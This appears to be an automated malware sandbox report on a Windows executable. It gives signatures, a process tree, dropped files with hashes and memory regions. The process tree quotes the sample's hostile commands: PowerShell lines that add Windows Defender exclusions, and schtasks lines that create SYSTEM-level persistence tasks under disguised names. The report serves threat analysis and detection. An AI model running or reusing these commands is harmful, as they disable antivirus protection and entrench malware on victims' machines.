Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    08/11/2024, 02:11

General

  • Target
    aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
  • Size 206KB
  • Sample241108-cma4fsshmf
  • SHA256 aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 9 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
    "C:\Users\Admin\AppData\Local\Temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2668
    • \??\c:\users\admin\appdata\local\temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe 
      c:\users\admin\appdata\local\temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe 
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Windows\system32\cmd.exe
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2612
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:736
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:948
      • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1092
        • C:\Windows\system32\cmd.exe
          "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:944
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1736
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2208
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2492
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2588
      • C:\Users\Admin\AppData\Local\Temp\Services32.exe
        "C:\Users\Admin\AppData\Local\Temp\Services32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2596
        • \??\c:\users\admin\appdata\local\temp\services32.exe 
          c:\users\admin\appdata\local\temp\services32.exe 
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1644
          • C:\Windows\system32\cmd.exe
            "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
            5⤵
              PID:1684
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2988
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:304
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:1568
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of AdjustPrivilegeToken
                PID:2812
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM" & exit
              5⤵
                PID:2628
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM"
                  6⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2088
            • C:\Windows\Resources\Themes\icsys.icn.exe
              C:\Windows\Resources\Themes\icsys.icn.exe
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:568
              • \??\c:\windows\resources\themes\explorer.exe
                c:\windows\resources\themes\explorer.exe
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:316
        • C:\Windows\Resources\Themes\icsys.icn.exe
          C:\Windows\Resources\Themes\icsys.icn.exe
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2948
          • \??\c:\windows\resources\themes\explorer.exe
            c:\windows\resources\themes\explorer.exe
            3⤵
            • Modifies visiblity of hidden/system files in Explorer
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Drops file in System32 directory
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1472
            • \??\c:\windows\resources\spoolsv.exe
              c:\windows\resources\spoolsv.exe SE
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2188
              • \??\c:\windows\resources\svchost.exe
                c:\windows\resources\svchost.exe
                5⤵
                • Modifies visiblity of hidden/system files in Explorer
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Drops file in System32 directory
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2648
                • \??\c:\windows\resources\spoolsv.exe
                  c:\windows\resources\spoolsv.exe PR
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of SetWindowsHookEx
                  PID:2628
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 02:13 /f
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2020
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 02:14 /f
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:1620
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 02:15 /f
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:1596
            • C:\Windows\Explorer.exe
              C:\Windows\Explorer.exe
              4⤵
                PID:1152

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              Services32.exe

              • Path C:\Users\Admin\AppData\Local\Temp\Services32.exe
              • Size 206KB
              • SHA256 aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337
              • MD5 SHA1 SHA512 SSDEEP

              aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe 

              • Path C:\Users\Admin\AppData\Local\Temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe 
              • Size 71KB
              • SHA256 9a05d71fc8bbbf8beaa8f993cb0d75cbab06ac4c9bf20fe843cfa034dd56a47f
              • MD5 SHA1 SHA512 SSDEEP

              OCQ0XGE4U0GAXOFME0K7.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OCQ0XGE4U0GAXOFME0K7.temp
              • Size 7KB
              • SHA256 fb93d087e73a5d78dcee136c511dae3ab95455dfe975469d5a4f21960f64f7e8
              • MD5 SHA1 SHA512 SSDEEP

              explorer.exe

              • Path C:\Windows\Resources\Themes\explorer.exe
              • Size 135KB
              • SHA256 fffed627f82f4009c36b0f4d277c8385bfbaac3b6c0dadca0fab55279a57d097
              • MD5 SHA1 SHA512 SSDEEP

              sihost32.exe

              • Path \Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
              • Size 11KB
              • SHA256 48fd7864ad054ee98f30a32006af85dce9f47cc5fccf065e7da41624cf14f94b
              • MD5 SHA1 SHA512 SSDEEP

              icsys.icn.exe

              • Path \Windows\Resources\Themes\icsys.icn.exe
              • Size 135KB
              • SHA256 e3aa603a42d20ba4f19f75839e090440cf224410b4bfd60f3aa9b95009a88792
              • MD5 SHA1 SHA512 SSDEEP

              spoolsv.exe

              • Path \Windows\Resources\spoolsv.exe
              • Size 135KB
              • SHA256 c85d27c446c4bf168df517ab33c403cac711611d3d3f4b3ee081e83a3e4789e0
              • MD5 SHA1 SHA512 SSDEEP

              svchost.exe

              • Path \Windows\Resources\svchost.exe
              • Size 135KB
              • SHA256 8c5d25bb1645b4fd8c33c679036ad74c78dd91695a357149387f32ae65cb3ecc
              • MD5 SHA1 SHA512 SSDEEP

              memory/316-171-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/568-173-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/1092-99-0x000000013FFC0000-0x000000013FFC8000-memory.dmp

              memory/1092-174-0x0000000000140000-0x0000000000146000-memory.dmp

              memory/1472-175-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/1644-114-0x000000013F2C0000-0x000000013F2D6000-memory.dmp

              memory/1736-121-0x0000000001E80000-0x0000000001E88000-memory.dmp

              memory/2188-75-0x0000000000460000-0x000000000047F000-memory.dmp

              memory/2188-88-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/2596-172-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/2612-30-0x0000000002040000-0x0000000002048000-memory.dmp

              memory/2612-29-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

              memory/2628-87-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/2648-176-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/2648-177-0x0000000001BA0000-0x0000000001BBF000-memory.dmp

              memory/2668-0-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/2668-90-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/2808-10-0x000007FEF63D3000-0x000007FEF63D4000-memory.dmp

              memory/2808-41-0x000007FEF63D3000-0x000007FEF63D4000-memory.dmp

              memory/2808-91-0x0000000000760000-0x000000000076C000-memory.dmp

              memory/2808-11-0x000000013F130000-0x000000013F146000-memory.dmp

              memory/2924-21-0x000007FEF2E10000-0x000007FEF37AD000-memory.dmp

              memory/2924-17-0x000000001B620000-0x000000001B902000-memory.dmp

              memory/2924-18-0x0000000002820000-0x0000000002828000-memory.dmp

              memory/2924-19-0x000007FEF2E10000-0x000007FEF37AD000-memory.dmp

              memory/2924-16-0x000007FEF30CE000-0x000007FEF30CF000-memory.dmp

              memory/2924-20-0x000007FEF2E10000-0x000007FEF37AD000-memory.dmp

              memory/2924-22-0x0000000002CFB000-0x0000000002D62000-memory.dmp

              memory/2924-23-0x000007FEF2E10000-0x000007FEF37AD000-memory.dmp

              memory/2948-89-0x0000000000400000-0x000000000041F000-memory.dmp

              memory/2948-54-0x0000000001BB0000-0x0000000001BCF000-memory.dmp